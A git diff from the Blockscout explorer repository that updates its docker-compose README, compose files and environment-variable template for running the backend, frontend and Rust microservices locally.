"Superchain", + "supermajority", + "supernet", + "sushiswap", + "swal", + "sweetalert", + "Synthereum", + "tabindex", + "tablist", + "tabpanel", + "tarekraafat", + "tbody", + "tbrf", + "Tcnwg", + "tems", + "Testinit", + "Testit", + "Testname", + "testpassword", + "testtest", + "testuser", + "thead", + "thicccbrowz", + "throttable", + "throttleable", + "tokenbalance", + "tokenlist", + "tokennfttx", + "tokensupply", + "tokentx", + "topbar", + "topnav", + "totalfees", + "totesbasic", + "trgm", + "trunc", + "trustwallet", + "tsquery", + "tsvector", + "tsym", + "TTFB", + "txid", + "txlistinternal", + "txlsit", + "Txns", + "txpool", + "txreceipt", + "typeless", + "typname", + "tzdata", + "ueberauth", + "ufixed", + "uncatalog", + "unclosable", + "unconfigured", + "unfetched", + "unfinalized", + "Unichain", + "unindexed", + "Unitarion", + "Unitorius", + "Unitorus", + "unknownc", + "unknowne", + "unmarshal", + "unmatching", + "unnest", + "unnested", + "unoswap", + "unpadded", + "unprefixed", + "unstaged", + "unxswap", + "uppercased", + "upsert", + "upserted", + "upserting", + "upserts", + "urijs", + "urlset", + "userinfo", + "Utqn", + "UUPS", + "valign", + "valuemax", + "valuemin", + "valuenow", + "varchar", + "varint", + "verifiedregistry", + "verifreg", + "verifyproxycontract", + "verifysourcecode", + "viewerjs", + "volumefrom", + "volumeto", + "vyper", + "walletconnect", + "Wanchain", + "warninga", + "warningb", + "watchlist", + "watchlisted", + "watchlists", + "webp", + "websockex", + "whereis", + "whiler", + "WHISTLEBLOWER", + "WITHDRAWABILITY", + "wobserver", + "wysdvjkizxonu", + "xact", + "xakgj", + "xbaddress", + "xdai", + "Xerom", + "xffff", + "xlevel", + "xlink", + "xmark", + "xmlhttprequest", + "Xname", + "xnonsense", + "xzzz", + "yellowgreen", + "ymlr", + "zaphod", + "zeppelinos", + "zerion", + "zetachain", + "zftv", + "ziczr", + "zilliqa", + "zindex", + "zipcode", + "zkatana", + "zkbob", + "zkevm", + "zksolc", + "zksync", + "zstd" + ], + "enableFiletypes": [ + "dotenv", + "html-eex", + "makefile" + ] +} diff --git a/docker-compose/README.md b/docker-compose/README.md index cfc504826f1e..995201b407b2 100644 --- a/docker-compose/README.md +++ b/docker-compose/README.md @@ -1,6 +1,6 @@ # Docker-compose configuration -Runs BlockScout locally in Docker container with usage [docker-compose](https://github.com/docker/compose). +Runs Blockscout locally in Docker containers with [docker-compose](https://github.com/docker/compose). ## Prerequisites @@ -10,27 +10,84 @@ Runs BlockScout locally in Docker container with usage [docker-compose](https:// ## Building Docker containers from source -``` +**Note**: in all below examples, you can use `docker compose` instead of `docker-compose`, if compose v2 plugin is installed in Docker. + +```bash +cd ./docker-compose docker-compose up --build ``` -This command uses by-default `docker-compose.yml`, which build the explorer into Docker image and runs 2 Docker containers: +**Note**: if you don't need to make backend customizations, you can run `docker-compose up` in order to launch from pre-build backend Docker image. This will be much faster. + +This command uses `docker-compose.yml` by-default, which builds the backend of the explorer into the Docker image and runs 9 Docker containers: + +- Postgres 14.x database, which will be available at port 7432 on the host machine. +- Redis database of the latest version. +- Blockscout backend with api at /api path. +- Nginx proxy to bind backend, frontend and microservices. +- Blockscout explorer at http://localhost. + +and 5 containers for microservices (written in Rust): -- one for the database. Postgres 13.x, which will be available at port 7432 on localhost -- and the BlockScout explorer at http://localhost:4000 +- [Stats](https://github.com/blockscout/blockscout-rs/tree/main/stats) service with a separate Postgres 14 DB. +- [Sol2UML visualizer](https://github.com/blockscout/blockscout-rs/tree/main/visualizer) service. +- [Sig-provider](https://github.com/blockscout/blockscout-rs/tree/main/sig-provider) service. +- [User-ops-indexer](https://github.com/blockscout/blockscout-rs/tree/main/user-ops-indexer) service. + +**Note for Linux users**: Linux users need to run the local node on http://0.0.0.0/ rather than http://127.0.0.1/ ## Configs for different Ethereum clients -Also, the repo contains built-in configs for different clients without need to build the image +The repo contains built-in configs for different JSON RPC clients without need to build the image. + +| __JSON RPC Client__ | __Docker compose launch command__ | +| -------- | ------- | +| Erigon | `docker-compose -f erigon.yml up -d` | +| Geth (suitable for Reth as well) | `docker-compose -f geth.yml up -d` | +| Geth Clique | `docker-compose -f geth-clique-consensus.yml up -d` | +| Nethermind, OpenEthereum | `docker-compose -f nethermind.yml up -d` | +| Anvil | `docker-compose -f anvil.yml up -d` | +| HardHat network | `docker-compose -f hardhat-network.yml up -d` | + +- Running only explorer without DB: `docker-compose -f external-db.yml up -d`. In this case, no db container is created. And it assumes that the DB credentials are provided through `DATABASE_URL` environment variable on the backend container. +- Running explorer with external backend: `docker-compose -f external-backend.yml up -d` +- Running explorer with external frontend: `FRONT_PROXY_PASS=http://host.docker.internal:3000/ docker-compose -f external-frontend.yml up -d` +- Running all microservices: `docker-compose -f microservices.yml up -d` +- Running only explorer without microservices: `docker-compose -f no-services.yml up -d` + +All of the configs assume the Ethereum JSON RPC is running at http://localhost:8545. + +In order to stop launched containers, run `docker-compose -f config_file.yml down`, replacing `config_file.yml` with the file name of the config which was previously launched. -- Ganache: `docker-compose -f docker-compose-no-build-ganache.yml up -d` -- HardHat network: `docker-compose -f docker-compose-no-build-hardhat-network.yml up -d` -- Geth: `docker-compose -f docker-compose-no-build-geth.yml up -d` -- OpenEthereum, Nethermind: `docker-compose -f docker-compose-no-build-open-ethereum-nethermind up -d` -- Running only explorer without DB: `docker-compose -f docker-compose-no-build-no-db-container.yml up -d`. In this case, one container is created - for the explorer itself. And it assumes that the DB credentials are provided through `DATABASE_URL` environment variable. +You can adjust BlockScout environment variables: -All of the configs assume, that the Ethereum JSON RPC is running at http://localhost:8545. +- for backend in `./envs/common-blockscout.env` +- for frontend in `./envs/common-frontend.env` +- for stats service in `./envs/common-stats.env` +- for visualizer in `./envs/common-visualizer.env` +- for user-ops-indexer in `./envs/common-user-ops-indexer.env` -In order to stop launched containers, run `docker-compose -d -f config_file.yml down`, where replace `config_file.yml` with the file name of the config, which has been launched before. +Descriptions of the ENVs are available + +- for [backend](https://docs.blockscout.com/setup/env-variables) +- for [frontend](https://github.com/blockscout/frontend/blob/main/docs/ENVS.md). + +## Running Docker containers via Makefile + +Prerequisites are the same, as for docker-compose setup. + +Start all containers: + +```bash +cd ./docker +make start +``` + +Stop all containers: + +```bash +cd ./docker +make stop +``` -You can play with the BlockScout environment variables, which are present at `./envs/common-blockscout.env`. The description of the environment variables are available in [the docs](https://docs.blockscout.com/for-developers/information-and-settings/env-variables). \ No newline at end of file +***Note***: Makefile uses the same .env files since it is running docker-compose services inside. diff --git a/docker-compose/anvil.yml b/docker-compose/anvil.yml new file mode 100644 index 000000000000..04cd475a6f18 --- /dev/null +++ b/docker-compose/anvil.yml @@ -0,0 +1,94 @@ +version: '3.9' + +services: + redis-db: + extends: + file: ./services/redis.yml + service: redis-db + + db-init: + extends: + file: ./services/db.yml + service: db-init + + db: + depends_on: + db-init: + condition: service_completed_successfully + extends: + file: ./services/db.yml + service: db + + backend: + depends_on: + - db + - redis-db + extends: + file: ./services/backend.yml + service: backend + links: + - db:database + environment: + ETHEREUM_JSONRPC_VARIANT: 'anvil' + ETHEREUM_JSONRPC_WS_URL: ws://host.docker.internal:8545/ + INDEXER_DISABLE_INTERNAL_TRANSACTIONS_FETCHER: 'true' + INDEXER_DISABLE_PENDING_TRANSACTIONS_FETCHER: 'true' + CHAIN_ID: '1337' + + visualizer: + extends: + file: ./services/visualizer.yml + service: visualizer + + sig-provider: + extends: + file: ./services/sig-provider.yml + service: sig-provider + + frontend: + depends_on: + - backend + extends: + file: ./services/frontend.yml + service: frontend + environment: + NEXT_PUBLIC_NETWORK_ID: '1337' + NEXT_PUBLIC_NETWORK_RPC_URL: http://host.docker.internal:8545/ + + stats-db-init: + extends: + file: ./services/stats.yml + service: stats-db-init + + stats-db: + depends_on: + stats-db-init: + condition: service_completed_successfully + extends: + file: ./services/stats.yml + service: stats-db + + stats: + depends_on: + - stats-db + - backend + extends: + file: ./services/stats.yml + service: stats + + user-ops-indexer: + depends_on: + - db + - backend + extends: + file: ./services/user-ops-indexer.yml + service: user-ops-indexer + + proxy: + depends_on: + - backend + - frontend + - stats + extends: + file: ./services/nginx.yml + service: proxy diff --git a/docker-compose/docker-compose-no-build-ganache.yml b/docker-compose/docker-compose-no-build-ganache.yml deleted file mode 100644 index 66ff9ecb104e..000000000000 --- a/docker-compose/docker-compose-no-build-ganache.yml +++ /dev/null @@ -1,39 +0,0 @@ -version: '3.8' - -services: - db: - image: postgres:14 - restart: always - container_name: 'postgres' - environment: - POSTGRES_PASSWORD: '' - POSTGRES_USER: 'postgres' - POSTGRES_HOST_AUTH_METHOD: 'trust' - ports: - - 7432:5432 - - blockscout: - depends_on: - - db - image: blockscout/blockscout:${DOCKER_TAG:-latest} - restart: always - container_name: 'blockscout' - links: - - db:database - command: bash -c "bin/blockscout eval \"Elixir.Explorer.ReleaseTasks.create_and_migrate()\" && bin/blockscout start" - extra_hosts: - - 'host.docker.internal:host-gateway' - env_file: - - ./envs/common-blockscout.env - environment: - ETHEREUM_JSONRPC_VARIANT: 'ganache' - ETHEREUM_JSONRPC_HTTP_URL: http://host.docker.internal:8545/ - ETHEREUM_JSONRPC_WS_URL: ws://host.docker.internal:8545/ - INDEXER_DISABLE_PENDING_TRANSACTIONS_FETCHER: 'true' - DATABASE_URL: postgresql://postgres:@host.docker.internal:7432/blockscout?ssl=false - ECTO_USE_SSL: 'false' - SECRET_KEY_BASE: '56NtB48ear7+wMSf0IQuWDAAazhpb31qyc7GiyspBP2vh7t5zlCsF5QDv76chXeN' - CHAIN_ID: '1337' - ports: - - 4000:4000 - diff --git a/docker-compose/docker-compose-no-build-geth.yml b/docker-compose/docker-compose-no-build-geth.yml deleted file mode 100644 index 1a78efc856a6..000000000000 --- a/docker-compose/docker-compose-no-build-geth.yml +++ /dev/null @@ -1,39 +0,0 @@ -version: '3.8' - -services: - db: - image: postgres:14 - restart: always - container_name: 'postgres' - environment: - POSTGRES_PASSWORD: '' - POSTGRES_USER: 'postgres' - POSTGRES_HOST_AUTH_METHOD: 'trust' - volumes: - - ./postgres-data:/var/lib/postgresql/data - ports: - - 7432:5432 - - blockscout: - depends_on: - - db - image: blockscout/blockscout:${DOCKER_TAG:-latest} - restart: always - container_name: 'blockscout' - links: - - db:database - command: bash -c "bin/blockscout eval \"Elixir.Explorer.ReleaseTasks.create_and_migrate()\" && bin/blockscout start" - extra_hosts: - - 'host.docker.internal:host-gateway' - env_file: - - ./envs/common-blockscout.env - environment: - ETHEREUM_JSONRPC_VARIANT: 'geth' - BLOCK_TRANSFORMER: 'clique' - ETHEREUM_JSONRPC_HTTP_URL: http://host.docker.internal:8545/ - DATABASE_URL: postgresql://postgres:@host.docker.internal:7432/blockscout?ssl=false - ECTO_USE_SSL: 'false' - SECRET_KEY_BASE: '56NtB48ear7+wMSf0IQuWDAAazhpb31qyc7GiyspBP2vh7t5zlCsF5QDv76chXeN' - ports: - - 4000:4000 - diff --git a/docker-compose/docker-compose-no-build-hardhat-network.yml b/docker-compose/docker-compose-no-build-hardhat-network.yml deleted file mode 100644 index 9cf66ffe2a57..000000000000 --- a/docker-compose/docker-compose-no-build-hardhat-network.yml +++ /dev/null @@ -1,38 +0,0 @@ -version: '3.8' - -services: - db: - image: postgres:14 - restart: always - container_name: 'postgres' - environment: - POSTGRES_PASSWORD: '' - POSTGRES_USER: 'postgres' - POSTGRES_HOST_AUTH_METHOD: 'trust' - ports: - - 7432:5432 - - blockscout: - depends_on: - - db - image: blockscout/blockscout:${DOCKER_TAG:-latest} - restart: always - container_name: 'blockscout' - links: - - db:database - command: bash -c "bin/blockscout eval \"Elixir.Explorer.ReleaseTasks.create_and_migrate()\" && bin/blockscout start" - extra_hosts: - - 'host.docker.internal:host-gateway' - env_file: - - ./envs/common-blockscout.env - environment: - ETHEREUM_JSONRPC_VARIANT: 'geth' - ETHEREUM_JSONRPC_HTTP_URL: http://host.docker.internal:8545/ - ETHEREUM_JSONRPC_WS_URL: ws://host.docker.internal:8545/ - INDEXER_DISABLE_PENDING_TRANSACTIONS_FETCHER: 'true' - DATABASE_URL: postgresql://postgres:@host.docker.internal:7432/blockscout?ssl=false - ECTO_USE_SSL: 'false' - SECRET_KEY_BASE: '56NtB48ear7+wMSf0IQuWDAAazhpb31qyc7GiyspBP2vh7t5zlCsF5QDv76chXeN' - ports: - - 4000:4000 - diff --git a/docker-compose/docker-compose-no-build-no-db-container.yml b/docker-compose/docker-compose-no-build-no-db-container.yml deleted file mode 100644 index 9c924dba3f0c..000000000000 --- a/docker-compose/docker-compose-no-build-no-db-container.yml +++ /dev/null @@ -1,21 +0,0 @@ -version: '3.8' - -services: - blockscout: - image: blockscout/blockscout:${DOCKER_TAG:-latest} - restart: always - container_name: 'blockscout' - command: bash -c "bin/blockscout eval \"Elixir.Explorer.ReleaseTasks.create_and_migrate()\" && bin/blockscout start" - extra_hosts: - - 'host.docker.internal:host-gateway' - env_file: - - ./envs/common-blockscout.env - environment: - ETHEREUM_JSONRPC_VARIANT: 'geth' - ETHEREUM_JSONRPC_HTTP_URL: http://host.docker.internal:8545/ - DATABASE_URL: postgresql://postgres:@host.docker.internal:5432/blockscout?ssl=false - ECTO_USE_SSL: 'false' - SECRET_KEY_BASE: '56NtB48ear7+wMSf0IQuWDAAazhpb31qyc7GiyspBP2vh7t5zlCsF5QDv76chXeN' - ports: - - 4000:4000 - diff --git a/docker-compose/docker-compose-no-build-open-ethereum-nethermind.yml b/docker-compose/docker-compose-no-build-open-ethereum-nethermind.yml deleted file mode 100644 index 02f912444530..000000000000 --- a/docker-compose/docker-compose-no-build-open-ethereum-nethermind.yml +++ /dev/null @@ -1,39 +0,0 @@ -version: '3.8' - -services: - db: - image: postgres:14 - restart: always - container_name: 'postgres' - environment: - POSTGRES_PASSWORD: '' - POSTGRES_USER: 'postgres' - POSTGRES_HOST_AUTH_METHOD: 'trust' - volumes: - - ./postgres-data:/var/lib/postgresql/data - ports: - - 7432:5432 - - blockscout: - depends_on: - - db - image: blockscout/blockscout:${DOCKER_TAG:-latest} - restart: always - container_name: 'blockscout' - links: - - db:database - command: bash -c "bin/blockscout eval \"Elixir.Explorer.ReleaseTasks.create_and_migrate()\" && bin/blockscout start" - extra_hosts: - - 'host.docker.internal:host-gateway' - env_file: - - ./envs/common-blockscout.env - environment: - ETHEREUM_JSONRPC_VARIANT: 'parity' - ETHEREUM_JSONRPC_HTTP_URL: http://host.docker.internal:8545/ - ETHEREUM_JSONRPC_TRACE_URL: http://host.docker.internal:8545/ - DATABASE_URL: postgresql://postgres:@host.docker.internal:7432/blockscout?ssl=false - ECTO_USE_SSL: 'false' - SECRET_KEY_BASE: '56NtB48ear7+wMSf0IQuWDAAazhpb31qyc7GiyspBP2vh7t5zlCsF5QDv76chXeN' - ports: - - 4000:4000 - diff --git a/docker-compose/docker-compose.yml b/docker-compose/docker-compose.yml index 3ebb5d1edfbf..0babc774018b 100644 --- a/docker-compose/docker-compose.yml +++ b/docker-compose/docker-compose.yml @@ -1,46 +1,107 @@ -version: '3.8' +version: '3.9' services: + redis-db: + extends: + file: ./services/redis.yml + service: redis-db + + db-init: + extends: + file: ./services/db.yml + service: db-init + db: - image: postgres:14 - restart: always - container_name: 'postgres' - environment: - POSTGRES_PASSWORD: '' - POSTGRES_USER: 'postgres' - POSTGRES_HOST_AUTH_METHOD: 'trust' - ports: - - 7432:5432 + depends_on: + db-init: + condition: service_completed_successfully + extends: + file: ./services/db.yml + service: db - blockscout: + backend: depends_on: - db - image: blockscout/blockscout:${DOCKER_TAG:-latest} + - redis-db + extends: + file: ./services/backend.yml + service: backend build: context: .. dockerfile: ./docker/Dockerfile args: - COIN: "" - CACHE_EXCHANGE_RATES_PERIOD: "" - DISABLE_READ_API: "false" - API_PATH: "/" - NETWORK_PATH: "/" - DISABLE_WEBAPP: "false" - DISABLE_WRITE_API: "false" - CACHE_ENABLE_TOTAL_GAS_USAGE_COUNTER: "" - CACHE_ADDRESS_WITH_BALANCES_UPDATE_INTERVAL: "" - SOCKET_ROOT: "/" - WOBSERVER_ENABLED: "false" - ADMIN_PANEL_ENABLED: "" - restart: always - container_name: 'blockscout' + RELEASE_VERSION: 9.0.2 links: - db:database - command: bash -c "bin/blockscout eval \"Elixir.Explorer.ReleaseTasks.create_and_migrate()\" && bin/blockscout start" - extra_hosts: - - 'host.docker.internal:host-gateway' - env_file: - - ./envs/common-blockscout.env - ports: - - 4000:4000 + environment: + ETHEREUM_JSONRPC_HTTP_URL: http://host.docker.internal:8545/ + ETHEREUM_JSONRPC_TRACE_URL: http://host.docker.internal:8545/ + ETHEREUM_JSONRPC_WS_URL: ws://host.docker.internal:8545/ + CHAIN_ID: '1337' + + nft_media_handler: + depends_on: + - backend + extends: + file: ./services/nft_media_handler.yml + service: nft_media_handler + build: + context: .. + dockerfile: ./docker/Dockerfile + args: + RELEASE_VERSION: 9.0.2 + + visualizer: + extends: + file: ./services/visualizer.yml + service: visualizer + sig-provider: + extends: + file: ./services/sig-provider.yml + service: sig-provider + + frontend: + depends_on: + - backend + extends: + file: ./services/frontend.yml + service: frontend + + stats-db-init: + extends: + file: ./services/stats.yml + service: stats-db-init + + stats-db: + depends_on: + stats-db-init: + condition: service_completed_successfully + extends: + file: ./services/stats.yml + service: stats-db + + stats: + depends_on: + - stats-db + - backend + extends: + file: ./services/stats.yml + service: stats + + user-ops-indexer: + depends_on: + - db + - backend + extends: + file: ./services/user-ops-indexer.yml + service: user-ops-indexer + + proxy: + depends_on: + - backend + - frontend + - stats + extends: + file: ./services/nginx.yml + service: proxy diff --git a/docker-compose/envs/common-blockscout.env b/docker-compose/envs/common-blockscout.env index caf206502c80..22275bef597f 100644 --- a/docker-compose/envs/common-blockscout.env +++ b/docker-compose/envs/common-blockscout.env @@ -1,39 +1,97 @@ -# DOCKER_TAG= ETHEREUM_JSONRPC_VARIANT=geth ETHEREUM_JSONRPC_HTTP_URL=http://host.docker.internal:8545/ -DATABASE_URL=postgresql://postgres:@host.docker.internal:7432/blockscout?ssl=false -ETHEREUM_JSONRPC_TRACE_URL=http://host.docker.internal:8545/ -NETWORK= -SUBNETWORK=Awesome chain -LOGO=/images/blockscout_logo.svg -LOGO_FOOTER=/images/blockscout_logo.svg -# ETHEREUM_JSONRPC_WS_URL= +DISABLE_FILE_LOGGING=false +DATABASE_URL=postgresql://blockscout:ceWb1MeLBEeOIfk65gU8EjF8@db:5432/blockscout + +# DATABASE_EVENT_POOL_SIZE +# DATABASE_EVENT_URL= +# DATABASE_QUEUE_TARGET +# TEST_DATABASE_URL= +# TEST_DATABASE_READ_ONLY_API_URL= + ETHEREUM_JSONRPC_TRANSPORT=http ETHEREUM_JSONRPC_DISABLE_ARCHIVE_BALANCES=false -IPC_PATH= -NETWORK_PATH=/ -API_PATH=/ -SOCKET_ROOT=/ -BLOCKSCOUT_HOST= -BLOCKSCOUT_PROTOCOL= -# SECRET_KEY_BASE= +# ETHEREUM_JSONRPC_FALLBACK_HTTP_URL= +ETHEREUM_JSONRPC_TRACE_URL=http://host.docker.internal:8545/ +# ETHEREUM_JSONRPC_FALLBACK_TRACE_URL= +# ETHEREUM_JSONRPC_ETH_CALL_URL= +# ETHEREUM_JSONRPC_FALLBACK_ETH_CALL_URL= +# ETHEREUM_JSONRPC_WS_URL= +# ETHEREUM_JSONRPC_FALLBACK_WS_URL= +# ETHEREUM_JSONRPC_WS_RETRY_INTERVAL= +# ETHEREUM_JSONRPC_ARCHIVE_BALANCES_WINDOW=200 +# ETHEREUM_JSONRPC_HTTP_TIMEOUT= +# ETHEREUM_JSONRPC_HTTP_HEADERS= +# ETHEREUM_JSONRPC_HTTP_GZIP_ENABLED= +# ETHEREUM_JSONRPC_WAIT_PER_TIMEOUT= +# ETHEREUM_JSONRPC_GETH_TRACE_BY_BLOCK= +# ETHEREUM_JSONRPC_GETH_ALLOW_EMPTY_TRACES= +# ETHEREUM_JSONRPC_DEBUG_TRACE_TRANSACTION_TIMEOUT= +# ETHEREUM_JSONRPC_HTTP_URLS= +# ETHEREUM_JSONRPC_FALLBACK_HTTP_URLS= +# ETHEREUM_JSONRPC_TRACE_URLS= +# ETHEREUM_JSONRPC_FALLBACK_TRACE_URLS= +# ETHEREUM_JSONRPC_ETH_CALL_URLS= +# ETHEREUM_JSONRPC_FALLBACK_ETH_CALL_URLS= +# CHAIN_TYPE= +# IPC_PATH= +# BLOCKSCOUT_HOST= +# BLOCKSCOUT_PROTOCOL= +SECRET_KEY_BASE=56NtB48ear7+wMSf0IQuWDAAazhpb31qyc7GiyspBP2vh7t5zlCsF5QDv76chXeN # CHECK_ORIGIN= PORT=4000 -# COIN= COIN_NAME= # METADATA_CONTRACT= # VALIDATORS_CONTRACT= # KEYS_MANAGER_CONTRACT= # REWARDS_CONTRACT= -# TOKEN_BRIDGE_CONTRACT= -EMISSION_FORMAT=DEFAULT +# EMISSION_FORMAT=DEFAULT # CHAIN_SPEC_PATH= +# CHAIN_SPEC_PROCESSING_DELAY= # SUPPLY_MODULE= -# EXCHANGE_RATES_SOURCE= -# EXCHANGE_RATES_COINGECKO_COIN_ID= -# EXCHANGE_RATES_COINGECKO_API_KEY= -# EXCHANGE_RATES_COINMARKETCAP_API_KEY= -POOL_SIZE=40 +COIN= +DISABLE_MARKET=true +# MARKET_NATIVE_COIN_SOURCE= +# MARKET_SECONDARY_COIN_SOURCE= +# MARKET_TOKENS_SOURCE= +# MARKET_NATIVE_COIN_HISTORY_SOURCE= +# MARKET_SECONDARY_COIN_HISTORY_SOURCE= +# MARKET_CAP_HISTORY_SOURCE= +# MARKET_TVL_HISTORY_SOURCE= +# MARKET_COINGECKO_COIN_ID= +# MARKET_COINGECKO_SECONDARY_COIN_ID= +# MARKET_COINGECKO_API_KEY= +# MARKET_COINGECKO_BASE_URL= +# MARKET_COINGECKO_BASE_PRO_URL= +# MARKET_COINGECKO_PLATFORM_ID= +# MARKET_COINMARKETCAP_BASE_URL= +# MARKET_COINMARKETCAP_API_KEY= +# MARKET_COINMARKETCAP_COIN_ID= +# MARKET_COINMARKETCAP_SECONDARY_COIN_ID= +# MARKET_CRYPTOCOMPARE_BASE_URL= +# MARKET_CRYPTOCOMPARE_COIN_SYMBOL= +# MARKET_CRYPTOCOMPARE_SECONDARY_COIN_SYMBOL= +# MARKET_CRYPTORANK_SECONDARY_COIN_ID= +# MARKET_CRYPTORANK_PLATFORM_ID= +# MARKET_CRYPTORANK_BASE_URL= +# MARKET_CRYPTORANK_API_KEY= +# MARKET_CRYPTORANK_COIN_ID= +# MARKET_DEFILLAMA_COIN_ID= +# MARKET_MOBULA_CHAIN_ID= +# MARKET_MOBULA_BASE_URL= +# MARKET_MOBULA_API_KEY= +# MARKET_MOBULA_COIN_ID= +# MARKET_MOBULA_SECONDARY_COIN_ID= +# MARKET_COIN_FETCHER_ENABLED= +# MARKET_COIN_CACHE_PERIOD= +# MARKET_TOKENS_FETCHER_ENABLED= +# MARKET_TOKENS_INTERVAL= +# MARKET_TOKENS_REFETCH_INTERVAL= +# MARKET_TOKENS_MAX_BATCH_SIZE= +# MARKET_HISTORY_FETCHER_ENABLED= +# MARKET_HISTORY_FETCH_INTERVAL= +# MARKET_HISTORY_FIRST_FETCH_DAY_COUNT= +POOL_SIZE=80 POOL_SIZE_API=10 ECTO_USE_SSL=false # DATADOG_HOST= @@ -42,85 +100,523 @@ ECTO_USE_SSL=false # SPANDEX_SYNC_THRESHOLD= HEART_BEAT_TIMEOUT=30 # HEART_COMMAND= -BLOCKSCOUT_VERSION= +# BLOCKSCOUT_VERSION= RELEASE_LINK= -BLOCK_TRANSFORMER=base -# GRAPHIQL_TRANSACTION= +# BLOCK_TRANSFORMER=base # BLOCK_RANGES= # FIRST_BLOCK= # LAST_BLOCK= +# TRACE_BLOCK_RANGES= # TRACE_FIRST_BLOCK= # TRACE_LAST_BLOCK= -LINK_TO_OTHER_EXPLORERS=false -OTHER_EXPLORERS={} -SUPPORTED_CHAINS={} -CACHE_BLOCK_COUNT_PERIOD=7200 -CACHE_TXS_COUNT_PERIOD=7200 -CACHE_ADDRESS_COUNT_PERIOD=7200 -CACHE_ADDRESS_SUM_PERIOD=3600 -CACHE_TOTAL_GAS_USAGE_PERIOD=3600 -CACHE_ADDRESS_TRANSACTIONS_GAS_USAGE_COUNTER_PERIOD=1800 -CACHE_TOKEN_HOLDERS_COUNTER_PERIOD=3600 -CACHE_TOKEN_TRANSFERS_COUNTER_PERIOD=3600 -CACHE_ADDRESS_WITH_BALANCES_UPDATE_INTERVAL=1800 -CACHE_AVERAGE_BLOCK_PERIOD=1800 -CACHE_MARKET_HISTORY_PERIOD=21600 -CACHE_ADDRESS_TRANSACTIONS_COUNTER_PERIOD=1800 -CACHE_ADDRESS_TOKENS_USD_SUM_PERIOD=1800 -CACHE_ADDRESS_TOKEN_TRANSFERS_COUNTER_PERIOD=1800 -CACHE_BRIDGE_MARKET_CAP_UPDATE_INTERVAL=1800 -CACHE_TOKEN_EXCHANGE_RATE_PERIOD=1800 -TOKEN_METADATA_UPDATE_INTERVAL=172800 -ALLOWED_EVM_VERSIONS=homestead,tangerineWhistle,spuriousDragon,byzantium,constantinople,petersburg,istanbul,berlin,london,default -UNCLES_IN_AVERAGE_BLOCK_TIME=false -DISABLE_WEBAPP=false -DISABLE_READ_API=false -DISABLE_WRITE_API=false -DISABLE_INDEXER=false -DISABLE_REALTIME_INDEXER=false -INDEXER_DISABLE_PENDING_TRANSACTIONS_FETCHER=false -INDEXER_DISABLE_INTERNAL_TRANSACTIONS_FETCHER=false +# CACHE_BLOCK_COUNT_PERIOD=7200 +# CACHE_TXS_COUNT_PERIOD=7200 +# CACHE_ADDRESS_SUM_PERIOD=3600 +# CACHE_TOTAL_GAS_USAGE_PERIOD=7200 +# CACHE_ADDRESS_TRANSACTIONS_GAS_USAGE_COUNTER_PERIOD=1800 +# CACHE_TOKEN_HOLDERS_COUNTER_PERIOD=3600 +# CACHE_TOKEN_TRANSFERS_COUNTER_PERIOD=3600 +# CACHE_ADDRESS_COUNT_PERIOD=1800 +# CACHE_AVERAGE_BLOCK_PERIOD=1800 +# CACHE_MARKET_HISTORY_PERIOD=21600 +# CACHE_ADDRESS_TRANSACTIONS_COUNTER_PERIOD=3600 +# CACHE_ADDRESS_TOKENS_USD_SUM_PERIOD=3600 +# CACHE_ADDRESS_TOKEN_TRANSFERS_COUNTER_PERIOD=3600 +# CACHE_TRANSACTIONS_24H_STATS_PERIOD= +# CACHE_FRESH_PENDING_TRANSACTIONS_COUNTER_PERIOD= +# TOKEN_BALANCE_ON_DEMAND_FETCHER_THRESHOLD= +# COIN_BALANCE_ON_DEMAND_FETCHER_THRESHOLD= +# CONTRACT_CODE_ON_DEMAND_FETCHER_THRESHOLD= +# TOKEN_INSTANCE_METADATA_REFETCH_ON_DEMAND_FETCHER_THRESHOLD= +# ADDRESSES_TABS_COUNTERS_TTL=10m +# TOKEN_METADATA_UPDATE_INTERVAL=48h +# TOKEN_COUNTERS_UPDATE_INTERVAL=3h +# CONTRACT_VERIFICATION_ALLOWED_SOLIDITY_EVM_VERSIONS=homestead,tangerineWhistle,spuriousDragon,byzantium,constantinople,petersburg,istanbul,berlin,london,paris,shanghai,cancun,prague,default +# CONTRACT_VERIFICATION_ALLOWED_VYPER_EVM_VERSIONS=byzantium,constantinople,petersburg,istanbul,berlin,paris,shanghai,cancun,default +# CONTRACT_VERIFICATION_MAX_LIBRARIES=10 +# CONTRACT_AUDIT_REPORTS_AIRTABLE_URL= +# CONTRACT_AUDIT_REPORTS_AIRTABLE_API_KEY= +# CONTRACT_CERTIFIED_LIST= +# CONTRACT_ENABLE_PARTIAL_REVERIFICATION= +# UNCLES_IN_AVERAGE_BLOCK_TIME=false +# DISABLE_WEBAPP=true +ADMIN_PANEL_ENABLED=false +# API_V2_ENABLED=true +API_V1_READ_METHODS_DISABLED=false +API_V1_WRITE_METHODS_DISABLED=false +# API_RATE_LIMIT_DISABLED=true +# API_SENSITIVE_ENDPOINTS_KEY= +# API_RATE_LIMIT_BY_KEY_TIME_INTERVAL=1s +# API_RATE_LIMIT_BY_WHITELISTED_IP_TIME_INTERVAL=1s +# API_RATE_LIMIT_UI_V2_WITH_TOKEN_TIME_INTERVAL=1s +# API_RATE_LIMIT_BY_ACCOUNT_API_KEY_TIME_INTERVAL=1s +# API_RATE_LIMIT_BY_IP_TIME_INTERVAL=5m +# API_RATE_LIMIT=50 +# API_RATE_LIMIT_BY_KEY=10 +# API_RATE_LIMIT_BY_WHITELISTED_IP=50 +# API_RATE_LIMIT_WHITELISTED_IPS= +# API_RATE_LIMIT_STATIC_API_KEY= +# API_RATE_LIMIT_UI_V2_WITH_TOKEN=5 +# API_RATE_LIMIT_BY_IP=3000 +# API_RATE_LIMIT_CONFIG_URL= +# API_RATE_LIMIT_REMOTE_IP_HEADERS= +# API_RATE_LIMIT_REMOTE_IP_KNOWN_PROXIES= +# API_NO_RATE_LIMIT_API_KEY= +# API_GRAPHQL_ENABLED= +# API_GRAPHQL_MAX_COMPLEXITY= +# API_GRAPHQL_TOKEN_LIMIT= +# API_GRAPHQL_DEFAULT_TRANSACTION_HASH= +# API_GRAPHQL_RATE_LIMIT_DISABLED= +# API_GRAPHQL_RATE_LIMIT= +# API_GRAPHQL_RATE_LIMIT_BY_KEY= +# API_GRAPHQL_RATE_LIMIT_TIME_INTERVAL= +# API_GRAPHQL_RATE_LIMIT_BY_IP= +# API_GRAPHQL_RATE_LIMIT_BY_IP_TIME_INTERVAL= +# API_GRAPHQL_RATE_LIMIT_STATIC_API_KEY= +# DISABLE_INDEXER=false +# DISABLE_REALTIME_INDEXER=false +# DISABLE_CATCHUP_INDEXER=false +# 